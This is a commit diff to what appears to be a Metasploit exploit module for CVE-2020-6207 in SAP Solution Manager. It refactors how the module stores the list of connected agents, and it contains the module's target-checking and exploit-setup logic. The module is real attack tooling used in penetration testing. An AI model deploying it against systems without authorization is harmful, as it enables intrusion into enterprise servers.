Replace class var @@agents with a class instance var in auxiliary and exploit modules.

modules/exploits/multi/sap/cve_2020_6207_solman_rs.rb

@@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
   include Metasploit::Framework::SapSolutionManager::Client
 
+  @agents = Array.new # Array of connected agents
+
   def initialize(info = {})
     super(
       update_info(
@@ -58,7 +60,15 @@ class MetasploitModule < Msf::Exploit::Remote
         OptString.new('AGENT', [true, 'Agent server name for exploitation', 'agent_server_name']),
       ]
     )
-    @@agents = Array.new # Array of connected agents
+    self.class.agents = Array.new
+  end
+
+  class << self
+    attr_reader :agents
+  end
+
+  class << self
+    attr_writer :agents
   end
 
   def setup_variables
@@ -119,11 +129,11 @@ class MetasploitModule < Msf::Exploit::Remote
 
   # Check current agent in agents list
   def check_agent(agent_name)
-    if @@agents.empty?
+    if self.class.agents.empty?
       begin
         print_status("Getting a list of agents connected to the Solution Manager: #{@host}")
-        @@agents = make_agents_array(@path)
-        vprint_good("Connected agents list: \n#{pretty_agents_table(@@agents)}")
+        self.class.agents = make_agents_array(@path)
+        vprint_good("Connected agents list: \n#{pretty_agents_table(self.class.agents)}")
       rescue RuntimeError => e
         print_error("Failed to make the list of connected agents on the SAP Solution Manager page at #{@solman_uri}")
         vprint_error("Error #{e.class}: #{e}")
@@ -132,10 +142,10 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     if agent_name.nil?
-      fail_with(Failure::NoTarget, "Please set agent: `set AGENT #{@@agents[0]['serverName']}`")
+      fail_with(Failure::NoTarget, "Please set agent: `set AGENT #{self.class.agents[0]['serverName']}`")
     end
 
-    @@agents.each do |agent|
+    self.class.agents.each do |agent|
       if agent_name == agent[:serverName]
         return true
       end
@@ -160,7 +170,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   # Get agent OS by agent server name
   def get_agent_os(agent_name)
-    @@agents.each do |agent|
+    self.class.agents.each do |agent|
       if agent_name == agent[:serverName]
         return agent[:osName]
       end
@@ -171,14 +181,14 @@ class MetasploitModule < Msf::Exploit::Remote
   def check
     setup_variables
     begin
-      @@agents = make_agents_array(@path)
+      self.class.agents = make_agents_array(@path)
     rescue RuntimeError
       return Exploit::CheckCode::Safe
     end
-    if @@agents.empty?
+    if self.class.agents.empty?
       print_status("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents connected!")
     else
-      print_good("Connected agents list: \n#{pretty_agents_table(@@agents)}")
+      print_good("Connected agents list: \n#{pretty_agents_table(self.class.agents)}")
     end
     report_service_and_vuln
     Exploit::CheckCode::Vulnerable
@@ -187,7 +197,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     setup_variables
     unless check_agent(@agent_name)
-      fail_with(Failure::BadConfig, "Not found agent: #{@agent_name} in connected agents: \n#{pretty_agents_table(@@agents)}")
+      fail_with(Failure::BadConfig, "Not found agent: #{@agent_name} in connected agents: \n#{pretty_agents_table(self.class.agents)}")
     end
     report_service_and_vuln
     agent_os = get_agent_os(@agent_name) || 'Unknown OS'